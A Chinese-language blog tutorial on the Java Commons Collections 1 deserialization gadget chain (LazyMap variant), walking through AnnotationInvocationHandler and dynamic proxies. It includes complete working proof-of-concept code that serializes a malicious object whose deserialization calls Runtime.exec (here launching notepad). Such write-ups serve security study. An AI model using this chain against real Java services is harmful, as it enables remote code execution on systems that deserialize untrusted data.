nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

java反序列化之cc1链 LazyMap

前言

这个方法相比于上个方法后面思路几乎一样,但是通过这个方法,我们可以学习到动态代理相关的知识

分析

还是和上次一样,我们从transform方法入手2024-02-29T10:01:52.png发现它在其他的map类也有被使用,我们来具体分析
先看看它的源码
2024-02-29T10:04:38.png
实现了序列化的接口,它的get方法会调用factory的transform方法,而且factory我们是可以控制的,可以可以通过decorate方法获取它的实例,如果要走到transform方法,我们需要if为假,为假的条件是map的key为null,我们自己编写一个代码来试一试

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC1lazy {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map =new HashMap();
        Map lazymap= LazyMap.decorate(map,chainedTransformer);
        lazymap.get("sss");
    }
}

然后我们看看有没有什么类调用了get,方法太多了2024-02-29T10:13:42.png
我们看到Ysoserial作者的方法,他所用到还是那个我们所熟悉的AnnotationInvocationHandler类,他的位置在

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类
我们看到那个类2024-02-29T10:19:46.png
在它的invoke方法里面调用了get方法,而且menbervalue是可控的
但是我们思考怎么才能触发invuke呢?
看到他还接口了InvocationHandler,这个是代表动态代理的,接口了这个类就必须重写invoke方法,而且方法会在代理对象的方法被调用时执行
所以我们如果创建一个动态代理,而且把它作为代理的处理器,那么就可以成功的触发invoke方法
我们先重新分析一下他的invoke方法,我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。

但是注意这里在使用get方法之前,这里有两个if判断,第一个判断是看我们代理对象触发的方法是不是equals这个不用管啥,也用不到,但是看到第二个判断,他是判断,我们代理对象使用的方法的参数是不是无参,如果不是就输出一个报错,一旦这个报错输出我们就到不了下面了。
所以我们的目的就是需要一个类,如果很完美的话,这个类里readobject方法里面有无参数的方法,正好又是这个类
2024-02-29T10:24:56.png
调用了membervalue的entryset方法,而且前面说了这个member是可以控制的,所以我们的思路就来了
接下来是怎么创建一个代理,来把这个类作为代理对象?我们只要使用Proxy创建一个代理实例,将我们构造的AnnotationInvocationHandler对象作为调用处理器传入。想一想,这里Proxy应代理哪个类型?

因为AnnotationInvocationHandler.readObject()是我们反序列化的入口,所以我们还得再用AnnotationInvocationHandler对象去包装Proxy创建的代理实例,再序列化;而其反序列化时会调用memberValues的entrySet()方法,我们希望memberValues为我们创建的代理实例,这样反序列化时才会调用到invoke(),从而进入到我们构造的链子当中。而memberValues为Map类型,故此处Proxy只能创建Map类型的代理实例。

我们就可以编写出我们的pop了

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1lazy {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        //定义一系列Transformer对象,组成一个变换链    
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        //将多个Transformer对象组合成一个链    
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        //使用chainedTransformer装饰HashMap生成新的Map   
        Map decorate = LazyMap.decorate(hash, chainedTransformer);

        //通过反射获取AnnotationInvocationHandler类的构造方法  
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的  
        constructor.setAccessible(true);
        //通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象  
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
//因为AnnotationInvocationHandler是继承了代理接口的,所以可以直接使用它的构造器去构造一个代理的处理器,但是需要强转
        //创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance   
        Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
        //再次通过反射创建代理对象
        Object o = constructor.newInstance(Override.class, proxyInstance);

        serialize(o);
        unserialize("1.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

我们来理一下思路,首先我们会进入readobject,然后这个方法就不需要满足两个if条件了,然后会调用member的entryset方法就是我们传入的proxyInstance,然后我们这个类是由我们自己处理器处理的代理类,也就是如果调用我们这个类的方法会先调用处理器的invoke方法,因为上面调用了它的无参的方法,会触发处理的invoke方法,然后因为无参,又会触发member的get方法,member我们传入的为decorate,Map decorate = LazyMap.decorate(hash, chainedTransformer);也就是我们的lazyap的get方法,然后调用它的get方法就会调用Object value = factory.transform(key);传入factory的transform方法,也就是chainedTransformer的transform方法,也就是我们最终的runtime的exec方法,最后就结束了
2024-02-29T11:05:35.png

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » java反序列化之cc1链 LazyMap

评论